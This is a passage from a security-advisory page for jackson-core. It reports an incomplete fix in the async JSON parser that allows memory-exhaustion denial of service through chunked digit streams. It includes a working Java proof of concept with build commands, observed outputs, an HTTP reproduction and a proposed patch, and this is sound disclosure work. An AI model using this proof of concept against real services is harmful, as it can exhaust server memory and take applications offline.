0; i \u003c numDigits; i++) {\n sb.append((char) (\u00271\u0027 + (i % 9)));\n }\n sb.append(\u0027}\u0027);\n return sb.toString().getBytes(StandardCharsets.UTF_8);\n }\n}\n\n```\n\n\n### Impact\nA malicious actor can send a JSON document with an arbitrarily long number to an application using the async parser (e.g., in a Spring WebFlux or other reactive application). This can cause:\n1. **Memory Exhaustion:** Unbounded allocation of memory in the `TextBuffer` to store the number\u0027s digits, leading to an `OutOfMemoryError`.\n2. **CPU Exhaustion:** If the application subsequently calls `getBigIntegerValue()` or `getDecimalValue()`, the JVM can be tied up in O(n^2) `BigInteger` parsing operations, leading to a CPU-based DoS.\n\n### Suggested Remediation\n\nThe async parsing path should be updated to respect the `maxNumberLength` constraint. The simplest fix appears to ensure that `_valueComplete()` or a similar method in the async path calls the appropriate validation methods (`resetInt()` or `resetFloat()`) already present in `ParserBase`, mirroring the behavior of the synchronous parsers.\n\n**NOTE:** This research was performed in collaboration with [rohan-repos](https://github.com/rohan-repos)",
"id": "GHSA-72hv-8253-57qq",
"modified": "2026-09-01T18:57:17Z",
"published": "2026-02-28T02:01:05Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-core/security/advisories/GHSA-72hv-8253-57qq"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-18401"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-core/pull/1555"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-core/commit/b0c428e6f993e1b5ece5c1c3cb2523e887cd52cf"
},
{
"type": "PACKAGE",
"url": "https://github.com/FasterXML/jackson-core"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "jackson-core: Number Length Constraint Bypass in Async Parser Leads to Potential DoS Condition"
}
GHSA-R7WM-3CXJ-WFF9
Vulnerability from github – Published: 2026-07-21 21:58 – Updated: 2026-08-03 20:30
VLAI
Summary
jackson-core: Async parser maxNumberLength bypass via chunked digit accumulation (incomplete fix for GHSA-72hv-8253-57qq)
Details
Summary
The fix released in jackson-core 2.18.6 and 2.21.1 for GHSA-72hv-8253-57qq (Number Length Constraint Bypass in Async Parser, published 2026-02-28) is incomplete. The fix commit b0c428e6 (#1555) wired validateIntegerLength into a new _setIntLength helper and called it at every place where the integer portion of a number is decided (terminator byte arrived, . / e/E seen, end-of-feed inside a fully-buffered value). It did not call it on the much more attacker-relevant path: "ran out of input while still inside MINOR_NUMBER_INTEGER_DIGITS, return NOT_AVAILABLE to caller".
As a result, an attacker who streams JSON to a non-blocking parser in many small chunks, without ever sending a terminator byte, can keep the parser inside MINOR_NUMBER_INTEGER_DIGITS indefinitely. _textBuffer.expandCurrentSegment() grows on every chunk, and validateIntegerLength is never invoked. The accumulator is only gated by maxStringLength (20 MiB default) — a ~20,000x amplification of the documented maxNumberLength (1000 default).
This is the same vulnerability class, same advisory wording ("Memory Exhaustion: Unbounded allocation in TextBuffer from excessively long numbers"), same parser class — just the streaming path the original fix didn't cover. The fix to the fraction path is correct (see _finishFloatFraction at line 1834-1837 of NonBlockingUtf8JsonParserBase.java in 2.18.6, where _setFractLength(fractLen) IS called before the NOT_AVAILABLE return); the equivalent call is missing from every integer-digit path.
Affected versions
Verified on the patched releases:
- com.fasterxml.jackson.core:jackson-core 2.18.6
- com.fasterxml.jackson.core:jackson-core 2.21.1
Structurally identical code in tools.jackson.core 3.0.x / 3.1.x — same NonBlockingUtf8JsonParserBase class, same _setIntLength rollout, same NOT_AVAILABLE returns without validation. Not retested but presumed vulnerable.
Affected code
src/main/java/com/fasterxml/jackson/core/json/async/NonBlockingUtf8JsonParserBase.java in 2.18.6 / 2.21.1.
Site 1 — _startPositiveNumber(int ch) lines 1320-1330:
if (outPtr >= outBuf.length) {
// NOTE: must expand to ensure contents all in a single buffer (to keep
// other parts of parsing simpler)
outBuf = _textBuffer.expandCurrentSegment();
}
outBuf[outPtr++] = (char) ch;
if (++_inputPtr >= _inputEnd) {
_minorState = MINOR_NUMBER_INTEGER_DIGITS;
_textBuffer.setCurrentLength(outPtr);
return _updateTokenToNA(); // <-- no validateIntegerLength(outPtr)
}
Site 2 — _finishNumberIntegralPart lines 1691-1727:
protected JsonToken _finishNumberIntegralPart(char[] outBuf, int outPtr) throws IOException {
int negMod = _numberNegative ? -1 : 0;
while (true) {
if (_inputPtr >= _inputEnd) {
_minorState = MINOR_NUMBER_INTEGER_DIGITS;
_textBuffer.setCurrentLength(outPtr);
return _updateTokenToNA(); // <-- no validateIntegerLength(outPtr + negMod)
}
int ch = getByteFromBuffer(_inputPtr) & 0xFF;
if (ch < INT_0) {
if (ch == INT_PERIOD) {
_setIntLength(outPtr+negMod); // <-- validated here
++_inputPtr;
return _startFloat(outBuf, outPtr, ch);
}
break;
}
if (ch > INT_9) {
if ((ch | 0x20) == INT_e) {
_setIntLength(outPtr+negMod); // <-- validated here
++_inputPtr;
return _startFloat(outBuf, outPtr, ch);
}
break;
}
++_inputPtr;
if (outPtr >= outBuf.length) {
outBuf = _textBuffer.expandCurrentSegment();
}
outBuf[outPtr++] = (char) ch;
}
_setIntLength(outPtr+negMod); // <-- validated here
_textBuffer.setCurrentLength(outPtr);
return _valueComplete(JsonToken.VALUE_NUMBER_INT);
}
The pattern recurs at lines 1297, 1329, 1343, 1365, 1395, 1409, 1437, 1467, 1481, 1586, 1644, 1698 — every "ran out of input mid-integer" exit returns to the caller without validating the accumulator length.
Compare with the fraction path that is correct
_finishFloatFraction lines 1827-1838:
while (loop) {
if (ch >= INT_0 && ch <= INT_9) {
++fractLen;
if (outPtr >= outBuf.length) {
outBuf = _textBuffer.expandCurrentSegment();
}
outBuf[outPtr++] = (char) ch;
if (_inputPtr >= _inputEnd) {
_textBuffer.setCurrentLength(outPtr);
_setFractLength(fractLen); // <-- VALIDATED
return JsonToken.NOT_AVAILABLE;
}
ch = getNextSignedByteFromBuffer();
}
...
}
Impact
Reactive frameworks (Spring WebFlux / Reactor, Quarkus, Helidon, Vert.x JSON, anything wrapping JsonFactory.createNonBlockingByteArrayParser() or createNonBlockingByteBufferParser()) feed inbound HTTP/gRPC bytes to the async parser as they arrive. Operators who set StreamReadConstraints.builder().maxNumberLength(N) on the assumption that this caps memory per number value are not getting that guarantee in chunked-feed scenarios. The parser silently accumulates digits up to maxStringLength (20 MiB default) per concurrent connection. Multiply by attacker-controlled concurrency to OOM the JVM.
The synchronous parsers (UTF8StreamJsonParser, ReaderBasedJsonParser) and the async parser on complete input are not affected — those paths go through _setIntLength or ParserBase._reportTooLongIntegral correctly.
CWE-770 (Allocation of Resources Without Limits or Throttling), CVSS roughly the same as the parent advisory (Network / Low complexity / High availability impact). The parent advisory was scored CVSS 8.7 High.
Proof of concept
Standalone PoC, no Maven required:
mkdir poc && cd poc
curl -sLo jackson-core-2.18.6.jar https://repo1.maven.org/maven2/com/fasterxml/jackson/core/jackson-core/2.18.6/jackson-core-2.18.6.jar
cat > PoC.java <<'EOF'
import com.fasterxml.jackson.core.*;
import com.fasterxml.jackson.core.async.ByteArrayFeeder;
public class PoC {
public static void main(String[] args) throws Exception {
StreamReadConstraints strict = StreamReadConstraints.builder()
.maxNumberLength(1000)
.build();
JsonFactory f = new JsonFactoryBuilder()
.streamReadConstraints(strict)
.build();
// Sanity: synchronous parser rejects 5000-digit int.
try (JsonParser p = f.createParser("{\"v\":" + "1".repeat(5000) + "}")) {
while (p.nextToken() != null) { /* drive */ }
System.out.println("[-] BUG ABSENT: sync parser accepted");
return;
} catch (Exception e) {
System.out.println("[+] sync parser rejected 5000-digit int: " + e.getClass().getSimpleName());
}
// Bug: async parser, chunked, no terminator.
JsonParser ap = f.createNonBlockingByteArrayParser();
ByteArrayFeeder feeder = (ByteArrayFeeder) ap;
byte[] preamble = "{\"v\":".getBytes("UTF-8");
feeder.feedInput(preamble, 0, preamble.length);
while (ap.nextToken() != JsonToken.NOT_AVAILABLE) { /* drain */ }
byte[] digits = new byte[16 * 1024];
for (int i = 0; i < digits.length; i++) digits[i] = (byte) ('1' + (i % 9));
for (int c = 0; c < 600; c++) {
feeder.feedInput(digits, 0, digits.length);
JsonToken t = ap.nextToken();
if (t != JsonToken.NOT_AVAILABLE) {
System.out.println("[-] unexpected token: " + t);
return;
}
}
System.out.println("[+] BUG PRESENT: async parser accepted ~9.83 MB of digits with maxNumberLength=1000");
// Closing the number now finally triggers the validator.
feeder.feedInput("}".getBytes("UTF-8"), 0, 1);
feeder.endOfInput();
try {
while (ap.nextToken() != null) { /* drive */ }
} catch (Exception e) {
System.out.println("[*] late rejection on close: " + e.getMessage().split("\n")[0]);
}
ap.close();
}
}
EOF
javac -cp jackson-core-2.18.6.jar PoC.java
java -Xmx256m -cp jackson-core-2.18.6.jar:. PoC
Observed output against jackson-core-2.18.6:
[+] sync parser rejected 5000-digit int: StreamConstraintsException
[+] BUG PRESENT: async parser accepted ~9.83 MB of digits with maxNumberLength=1000
[*] late rejection on close: Number value length (9830400) exceeds the maximum allowed (1000, from `StreamReadConstraints.getMaxNumberLength()`)
Observed output against jackson-core-2.21.1: identical.
The 9.83 MB figure is purely a function of the loop bound (600 chunks * 16 KiB). The actual ceiling is maxStringLength = 20 MiB. With the strict policy declared as maxNumberLength = 1000, the parser permits 9830x more allocation than the policy allows. With maxStringLength left at the default 20 MiB, an attacker can drive a single connection to 40 MiB of char[] heap (chars are 2 bytes each) before the validator finally fires on terminator/endOfInput(). Multiply by concurrent connections.
End-to-end reproduction through real HTTP
Supplements the standalone PoC with a running Spring Boot WebFlux server, driving the same bug through the actual reactor-netty + Jackson2JsonDecoder streaming-decode path that production reactive endpoints use.
Setup:
- Spring Boot 3.3.5 starter-webflux (spring-webflux 6.1.14, reactor-netty 1.1.23)
- jackson-databind 2.17.2, jackson-core overridden:
- VULN run: com.fasterxml.jackson.core:jackson-core:2.18.7 (latest published)
- PATCHED run: 2.18.8-SNAPSHOT built from the fix branch
- JVM: OpenJDK 17.0.18
- Server JsonFactory configured with StreamReadConstraints.builder().maxNumberLength(1000).build()
Endpoint under test exposes the Flux<DataBuffer> request body directly to
Jackson2JsonDecoder.decode(Flux, ResolvableType, ...) so the parser sees one
HTTP chunk per feedInput (the same pattern used for any
@RequestBody Flux<...> / streaming JSON decoder in WebFlux). A raw-socket
HTTP/1.1 chunked client streams {"v":1 then 250 chunks of 200 digit bytes
each (50,000 digits total) at 20ms intervals, then writes the closing }.
VULN — jackson-core 2.18.7:
[VULN-SMALLCHUNK] streamed 50000 digits across 250 chunks; server still accepting
[VULN-SMALLCHUNK] full POST sent (50000 digits). Response:
HTTP/1.1 200 OK
ERR after 6548ms cause=com.fasterxml.jackson.core.exc.StreamConstraintsException:
Number value length (50000) exceeds the maximum allowed (1000, ...)
Server-side controller trace (250 DataBuffer arrivals elided):
[ctrl] DataBuffer arrived size=6 ms=39 <- '{"v":1'
[ctrl] DataBuffer arrived size=200 ms=42
...
[ctrl] DataBuffer arrived size=199 ms=5993
[ctrl] DataBuffer arrived size=1 ms=6518 <- closing '}'
[ctrl] ERR after 6548ms ... Number value length (50000) exceeds ...
Server held all 50,000 digit characters in _textBuffer for 6.5 seconds with
maxNumberLength=1000 declared. The validator never fires during streaming;
it only fires at value-completion when the closing } arrives.
PATCHED — jackson-core 2.18.8-SNAPSHOT (fix branch):
[PATCHED-SMALLCHUNK] connection broke after 2801 digits at chunk 14: [Errno 32] Broken pipe
[PATCHED-SMALLCHUNK] DONE: digits_sent=2801 status=connection-broke-mid-stream
Server-side controller trace:
[ctrl] DataBuffer arrived size=6 ms=129
[ctrl] DataBuffer arrived size=200 ms=142
[ctrl] DataBuffer arrived size=200 ms=142
[ctrl] DataBuffer arrived size=200 ms=145
[ctrl] DataBuffer arrived size=200 ms=146
[ctrl] DataBuffer arrived size=200 ms=147
[ctrl] ERR after 155ms ... Number value length (1001) exceeds the maximum allowed (1000, ...)
Patched server raises StreamConstraintsException at 155ms after only 5
DataBuffers, exactly when the accumulated digit count crosses
maxNumberLength=1000. The connection is reset mid-stream rather than the
parser silently consuming the rest of the attacker's payload.
Side-by-side:
| Build | Chunks accepted before exception | Digits buffered | Time to detection |
|---|---|---|---|
| jackson-core 2.18.7 | 250 (full payload) | 50,000 (50x the configured limit) | 6,548ms — only at terminator |
| 2.18.8-SNAPSHOT (fix branch) | 5 | 1,001 | 155ms — moment threshold crossed |
Note on the default @RequestBody Mono<JsonNode> path: that path cannot
distinguish the two builds because Spring's decodeToMono joins all
DataBuffers into one before parsing. The exploitable shape is the
streaming-decode path (Flux<JsonNode> / @RequestBody Flux<...> /
WebSocket / SSE / any direct decoder.decode(Flux<DataBuffer>, ...) call),
which is also what Jackson2Tokenizer uses for any streaming JSON
deserialization in WebFlux and Quarkus reactive REST.
Suggested fix
Mirror the pattern already used in _finishFloatFraction. At every site that returns _updateTokenToNA() (or JsonToken.NOT_AVAILABLE) with _minorState = MINOR_NUMBER_INTEGER_DIGITS, call _setIntLength(outPtr + negMod) first. Concretely, the diff to NonBlockingUtf8JsonParserBase.java would be:
protected JsonToken _finishNumberIntegralPart(char[] outBuf, int outPtr) throws IOException {
int negMod = _numberNegative ? -1 : 0;
while (true) {
if (_inputPtr >= _inputEnd) {
_minorState = MINOR_NUMBER_INTEGER_DIGITS;
_textBuffer.setCurrentLength(outPtr);
+ _streamReadConstraints.validateIntegerLength(outPtr + negMod);
return _updateTokenToNA();
}
Note: _setIntLength itself can't be used as-is because it also assigns _intLength, and _intLength must not be set until the integer is truly complete (subsequent fraction handling reads _intLength). The minimal fix is to call only the validator, as shown.
Apply the same one-line insertion before each return _updateTokenToNA(); that exits with _minorState = MINOR_NUMBER_INTEGER_DIGITS. The sites are listed above (12 lines total).
Alternatively, a heavier refactor: also gate _textBuffer.expandCurrentSegment() calls inside the digit-accumulation loops on outPtr < maxNumberLength so that the validator fires at the moment the buffer would be enlarged past the limit, rather than waiting for the next chunk boundary. Either approach is sufficient.
Credit
Reported by tonghuaroot (tonghuaroot@gmail.com). Variant hunt against the Feb 2026 fix for GHSA-72hv-8253-57qq.
Severity
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "com.fasterxml.jackson.core:jackson-core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.18.8"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.fasterxml.jackson.core:jackson-core"
},
"ranges": [
{
"events": [
{
"introduced": "2.19.0"
},
{
"fixed": "2.21.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "tools.jackson.core:jackson-core"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.1.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-21T21:58:53Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\nThe fix released in jackson-core `2.18.6` and `2.21.1` for [GHSA-72hv-8253-57qq](https://github.com/FasterXML/jackson-core/security/advisories/GHSA-72hv-8253-57qq) (Number Length Constraint Bypass in Async Parser, published 2026-02-28) is incomplete. The fix commit `b0c428e6` (#1555) wired `validateIntegerLength` into a new `_setIntLength` helper and called it at every place where the integer portion of a number is *decided* (terminator byte arrived, `.` / `e/E` seen, end-of-feed inside a fully-buffered value). It did not call it on the much more attacker-relevant path: \"ran out of input while still inside `MINOR_NUMBER_INTEGER_DIGITS`, return `NOT_AVAILABLE` to caller\".\n\nAs a result, an attacker who streams JSON to a non-blocking parser in many small chunks, without ever sending a terminator byte, can keep the parser inside `MINOR_NUMBER_INTEGER_DIGITS` indefinitely. `_textBuffer.expandCurrentSegment()` grows on every chunk, and `validateIntegerLength` is never invoked. The accumulator is only gated by `maxStringLength` (20 MiB default) \u2014 a **~20,000x amplification** of the documented `maxNumberLength` (1000 default).\n\nThis is the same vulnerability class, same advisory wording (\"Memory Exhaustion: Unbounded allocation in TextBuffer from excessively long numbers\"), same parser class \u2014 just the streaming path the original fix didn\u0027t cover. The fix to the *fraction* path is correct (see `_finishFloatFraction` at line 1834-1837 of `NonBlockingUtf8JsonParserBase.java` in 2.18.6, where `_setFractLength(fractLen)` IS called before the `NOT_AVAILABLE` return); the equivalent call is missing from every integer-digit path.\n\n## Affected versions\n\nVerified on the patched releases:\n- `com.fasterxml.jackson.core:jackson-core` **2.18.6**\n- `com.fasterxml.jackson.core:jackson-core` **2.21.1**\n\nStructurally identical code in `tools.jackson.core` 3.0.x / 3.1.x \u2014 same `NonBlockingUtf8JsonParserBase` class, same `_setIntLength` rollout, same NOT_AVAILABLE returns without validation. Not retested but presumed vulnerable.\n\n## Affected code\n\n[`src/main/java/com/fasterxml/jackson/core/json/async/NonBlockingUtf8JsonParserBase.java`](https://github.com/FasterXML/jackson-core/blob/b0c428e6/src/main/java/com/fasterxml/jackson/core/json/async/NonBlockingUtf8JsonParserBase.java) in 2.18.6 / 2.21.1.\n\n### Site 1 \u2014 `_startPositiveNumber(int ch)` lines 1320-1330:\n\n```java\nif (outPtr \u003e= outBuf.length) {\n // NOTE: must expand to ensure contents all in a single buffer (to keep\n // other parts of parsing simpler)\n outBuf = _textBuffer.expandCurrentSegment();\n}\noutBuf[outPtr++] = (char) ch;\nif (++_inputPtr \u003e= _inputEnd) {\n _minorState = MINOR_NUMBER_INTEGER_DIGITS;\n _textBuffer.setCurrentLength(outPtr);\n return _updateTokenToNA(); // \u003c-- no validateIntegerLength(outPtr)\n}\n```\n\n### Site 2 \u2014 `_finishNumberIntegralPart` lines 1691-1727:\n\n```java\nprotected JsonToken _finishNumberIntegralPart(char[] outBuf, int outPtr) throws IOException {\n int negMod = _numberNegative ? -1 : 0;\n\n while (true) {\n if (_inputPtr \u003e= _inputEnd) {\n _minorState = MINOR_NUMBER_INTEGER_DIGITS;\n _textBuffer.setCurrentLength(outPtr);\n return _updateTokenToNA(); // \u003c-- no validateIntegerLength(outPtr + negMod)\n }\n int ch = getByteFromBuffer(_inputPtr) \u0026 0xFF;\n if (ch \u003c INT_0) {\n if (ch == INT_PERIOD) {\n _setIntLength(outPtr+negMod); // \u003c-- validated here\n ++_inputPtr;\n return _startFloat(outBuf, outPtr, ch);\n }\n break;\n }\n if (ch \u003e INT_9) {\n if ((ch | 0x20) == INT_e) {\n _setIntLength(outPtr+negMod); // \u003c-- validated here\n ++_inputPtr;\n return _startFloat(outBuf, outPtr, ch);\n }\n break;\n }\n ++_inputPtr;\n if (outPtr \u003e= outBuf.length) {\n outBuf = _textBuffer.expandCurrentSegment();\n }\n outBuf[outPtr++] = (char) ch;\n }\n _setIntLength(outPtr+negMod); // \u003c-- validated here\n _textBuffer.setCurrentLength(outPtr);\n return _valueComplete(JsonToken.VALUE_NUMBER_INT);\n}\n```\n\nThe pattern recurs at lines 1297, 1329, 1343, 1365, 1395, 1409, 1437, 1467, 1481, 1586, 1644, 1698 \u2014 every \"ran out of input mid-integer\" exit returns to the caller without validating the accumulator length.\n\n### Compare with the fraction path that is correct\n\n`_finishFloatFraction` lines 1827-1838:\n\n```java\nwhile (loop) {\n if (ch \u003e= INT_0 \u0026\u0026 ch \u003c= INT_9) {\n ++fractLen;\n if (outPtr \u003e= outBuf.length) {\n outBuf = _textBuffer.expandCurrentSegment();\n }\n outBuf[outPtr++] = (char) ch;\n if (_inputPtr \u003e= _inputEnd) {\n _textBuffer.setCurrentLength(outPtr);\n _setFractLength(fractLen); // \u003c-- VALIDATED\n return JsonToken.NOT_AVAILABLE;\n }\n ch = getNextSignedByteFromBuffer();\n }\n ...\n}\n```\n\n## Impact\n\nReactive frameworks (Spring WebFlux / Reactor, Quarkus, Helidon, Vert.x JSON, anything wrapping `JsonFactory.createNonBlockingByteArrayParser()` or `createNonBlockingByteBufferParser()`) feed inbound HTTP/gRPC bytes to the async parser as they arrive. Operators who set `StreamReadConstraints.builder().maxNumberLength(N)` on the assumption that this caps memory per number value are not getting that guarantee in chunked-feed scenarios. The parser silently accumulates digits up to `maxStringLength` (20 MiB default) per concurrent connection. Multiply by attacker-controlled concurrency to OOM the JVM.\n\nThe synchronous parsers (`UTF8StreamJsonParser`, `ReaderBasedJsonParser`) and the async parser on *complete* input are not affected \u2014 those paths go through `_setIntLength` or `ParserBase._reportTooLongIntegral` correctly.\n\nCWE-770 (Allocation of Resources Without Limits or Throttling), CVSS roughly the same as the parent advisory (Network / Low complexity / High availability impact). The parent advisory was scored CVSS 8.7 High.\n\n## Proof of concept\n\nStandalone PoC, no Maven required:\n\n```\nmkdir poc \u0026\u0026 cd poc\ncurl -sLo jackson-core-2.18.6.jar https://repo1.maven.org/maven2/com/fasterxml/jackson/core/jackson-core/2.18.6/jackson-core-2.18.6.jar\ncat \u003e PoC.java \u003c\u003c\u0027EOF\u0027\nimport com.fasterxml.jackson.core.*;\nimport com.fasterxml.jackson.core.async.ByteArrayFeeder;\n\npublic class PoC {\n public static void main(String[] args) throws Exception {\n StreamReadConstraints strict = StreamReadConstraints.builder()\n .maxNumberLength(1000)\n .build();\n JsonFactory f = new JsonFactoryBuilder()\n .streamReadConstraints(strict)\n .build();\n\n // Sanity: synchronous parser rejects 5000-digit int.\n try (JsonParser p = f.createParser(\"{\\\"v\\\":\" + \"1\".repeat(5000) + \"}\")) {\n while (p.nextToken() != null) { /* drive */ }\n System.out.println(\"[-] BUG ABSENT: sync parser accepted\");\n return;\n } catch (Exception e) {\n System.out.println(\"[+] sync parser rejected 5000-digit int: \" + e.getClass().getSimpleName());\n }\n\n // Bug: async parser, chunked, no terminator.\n JsonParser ap = f.createNonBlockingByteArrayParser();\n ByteArrayFeeder feeder = (ByteArrayFeeder) ap;\n\n byte[] preamble = \"{\\\"v\\\":\".getBytes(\"UTF-8\");\n feeder.feedInput(preamble, 0, preamble.length);\n while (ap.nextToken() != JsonToken.NOT_AVAILABLE) { /* drain */ }\n\n byte[] digits = new byte[16 * 1024];\n for (int i = 0; i \u003c digits.length; i++) digits[i] = (byte) (\u00271\u0027 + (i % 9));\n\n for (int c = 0; c \u003c 600; c++) {\n feeder.feedInput(digits, 0, digits.length);\n JsonToken t = ap.nextToken();\n if (t != JsonToken.NOT_AVAILABLE) {\n System.out.println(\"[-] unexpected token: \" + t);\n return;\n }\n }\n System.out.println(\"[+] BUG PRESENT: async parser accepted ~9.83 MB of digits with maxNumberLength=1000\");\n\n // Closing the number now finally triggers the validator.\n feeder.feedInput(\"}\".getBytes(\"UTF-8\"), 0, 1);\n feeder.endOfInput();\n try {\n while (ap.nextToken() != null) { /* drive */ }\n } catch (Exception e) {\n System.out.println(\"[*] late rejection on close: \" + e.getMessage().split(\"\\n\")[0]);\n }\n ap.close();\n }\n}\nEOF\njavac -cp jackson-core-2.18.6.jar PoC.java\njava -Xmx256m -cp jackson-core-2.18.6.jar:. PoC\n```\n\nObserved output against `jackson-core-2.18.6`:\n\n```\n[+] sync parser rejected 5000-digit int: StreamConstraintsException\n[+] BUG PRESENT: async parser accepted ~9.83 MB of digits with maxNumberLength=1000\n[*] late rejection on close: Number value length (9830400) exceeds the maximum allowed (1000, from `StreamReadConstraints.getMaxNumberLength()`)\n```\n\nObserved output against `jackson-core-2.21.1`: identical.\n\nThe 9.83 MB figure is purely a function of the loop bound (600 chunks * 16 KiB). The actual ceiling is `maxStringLength = 20 MiB`. With the strict policy declared as `maxNumberLength = 1000`, the parser permits **9830x** more allocation than the policy allows. With `maxStringLength` left at the default 20 MiB, an attacker can drive a single connection to 40 MiB of `char[]` heap (chars are 2 bytes each) before the validator finally fires on terminator/`endOfInput()`. Multiply by concurrent connections.\n\n## End-to-end reproduction through real HTTP\n\nSupplements the standalone PoC with a running Spring Boot WebFlux server,\ndriving the same bug through the actual reactor-netty + Jackson2JsonDecoder\nstreaming-decode path that production reactive endpoints use.\n\nSetup:\n- Spring Boot 3.3.5 starter-webflux (spring-webflux 6.1.14, reactor-netty 1.1.23)\n- jackson-databind 2.17.2, jackson-core overridden:\n - VULN run: `com.fasterxml.jackson.core:jackson-core:2.18.7` (latest published)\n - PATCHED run: `2.18.8-SNAPSHOT` built from the fix branch\n- JVM: OpenJDK 17.0.18\n- Server `JsonFactory` configured with `StreamReadConstraints.builder().maxNumberLength(1000).build()`\n\nEndpoint under test exposes the `Flux\u003cDataBuffer\u003e` request body directly to\n`Jackson2JsonDecoder.decode(Flux, ResolvableType, ...)` so the parser sees one\nHTTP chunk per `feedInput` (the same pattern used for any\n`@RequestBody Flux\u003c...\u003e` / streaming JSON decoder in WebFlux). A raw-socket\nHTTP/1.1 chunked client streams `{\"v\":1` then 250 chunks of 200 digit bytes\neach (50,000 digits total) at 20ms intervals, then writes the closing `}`.\n\nVULN \u2014 jackson-core 2.18.7:\n```\n[VULN-SMALLCHUNK] streamed 50000 digits across 250 chunks; server still accepting\n[VULN-SMALLCHUNK] full POST sent (50000 digits). Response:\nHTTP/1.1 200 OK\nERR after 6548ms cause=com.fasterxml.jackson.core.exc.StreamConstraintsException:\n Number value length (50000) exceeds the maximum allowed (1000, ...)\n```\nServer-side controller trace (250 DataBuffer arrivals elided):\n```\n[ctrl] DataBuffer arrived size=6 ms=39 \u003c- \u0027{\"v\":1\u0027\n[ctrl] DataBuffer arrived size=200 ms=42\n...\n[ctrl] DataBuffer arrived size=199 ms=5993\n[ctrl] DataBuffer arrived size=1 ms=6518 \u003c- closing \u0027}\u0027\n[ctrl] ERR after 6548ms ... Number value length (50000) exceeds ...\n```\nServer held all 50,000 digit characters in `_textBuffer` for 6.5 seconds with\n`maxNumberLength=1000` declared. The validator never fires during streaming;\nit only fires at value-completion when the closing `}` arrives.\n\nPATCHED \u2014 jackson-core 2.18.8-SNAPSHOT (fix branch):\n```\n[PATCHED-SMALLCHUNK] connection broke after 2801 digits at chunk 14: [Errno 32] Broken pipe\n[PATCHED-SMALLCHUNK] DONE: digits_sent=2801 status=connection-broke-mid-stream\n```\nServer-side controller trace:\n```\n[ctrl] DataBuffer arrived size=6 ms=129\n[ctrl] DataBuffer arrived size=200 ms=142\n[ctrl] DataBuffer arrived size=200 ms=142\n[ctrl] DataBuffer arrived size=200 ms=145\n[ctrl] DataBuffer arrived size=200 ms=146\n[ctrl] DataBuffer arrived size=200 ms=147\n[ctrl] ERR after 155ms ... Number value length (1001) exceeds the maximum allowed (1000, ...)\n```\nPatched server raises `StreamConstraintsException` at 155ms after only 5\nDataBuffers, exactly when the accumulated digit count crosses\n`maxNumberLength=1000`. The connection is reset mid-stream rather than the\nparser silently consuming the rest of the attacker\u0027s payload.\n\nSide-by-side:\n\n| Build | Chunks accepted before exception | Digits buffered | Time to detection |\n|---|---|---|---|\n| jackson-core 2.18.7 | 250 (full payload) | 50,000 (50x the configured limit) | 6,548ms \u2014 only at terminator |\n| 2.18.8-SNAPSHOT (fix branch) | 5 | 1,001 | 155ms \u2014 moment threshold crossed |\n\nNote on the default `@RequestBody Mono\u003cJsonNode\u003e` path: that path cannot\ndistinguish the two builds because Spring\u0027s `decodeToMono` joins all\nDataBuffers into one before parsing. The exploitable shape is the\nstreaming-decode path (`Flux\u003cJsonNode\u003e` / `@RequestBody Flux\u003c...\u003e` /\nWebSocket / SSE / any direct `decoder.decode(Flux\u003cDataBuffer\u003e, ...)` call),\nwhich is also what `Jackson2Tokenizer` uses for any streaming JSON\ndeserialization in WebFlux and Quarkus reactive REST.\n\n## Suggested fix\n\nMirror the pattern already used in `_finishFloatFraction`. At every site that returns `_updateTokenToNA()` (or `JsonToken.NOT_AVAILABLE`) with `_minorState = MINOR_NUMBER_INTEGER_DIGITS`, call `_setIntLength(outPtr + negMod)` first. Concretely, the diff to `NonBlockingUtf8JsonParserBase.java` would be:\n\n```diff\n protected JsonToken _finishNumberIntegralPart(char[] outBuf, int outPtr) throws IOException {\n int negMod = _numberNegative ? -1 : 0;\n\n while (true) {\n if (_inputPtr \u003e= _inputEnd) {\n _minorState = MINOR_NUMBER_INTEGER_DIGITS;\n _textBuffer.setCurrentLength(outPtr);\n+ _streamReadConstraints.validateIntegerLength(outPtr + negMod);\n return _updateTokenToNA();\n }\n```\n\nNote: `_setIntLength` itself can\u0027t be used as-is because it also assigns `_intLength`, and `_intLength` must not be set until the integer is truly complete (subsequent fraction handling reads `_intLength`). The minimal fix is to call only the validator, as shown.\n\nApply the same one-line insertion before each `return _updateTokenToNA();` that exits with `_minorState = MINOR_NUMBER_INTEGER_DIGITS`. The sites are listed above (12 lines total).\n\nAlternatively, a heavier refactor: also gate `_textBuffer.expandCurrentSegment()` calls inside the digit-accumulation loops on `outPtr \u003c maxNumberLength` so that the validator fires at the moment the buffer would be enlarged past the limit, rather than waiting for the next chunk boundary. Either approach is sufficient.\n\n## Credit\n\nReported by `tonghuaroot` (`tonghuaroot@gmail.com`). Variant hunt against the Feb 2026 fix for GHSA-72hv-8253-57qq.",
"id": "GHSA-r7wm-3cxj-wff9",
"modified": "2026-08-03T20:30:41Z",
"published": "2026-07-21T21:58:53Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-core/security/advisories/GHSA-r7wm-3cxj-wff9"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-core/pull/1611"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-core/commit/050b429804dce2a7e08f0be1b0b4c3d040fdb9cd"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-core/commit/4cdd529749da396cc7edf6d4a2aad41d47902641"
},
{
"type": "WEB",
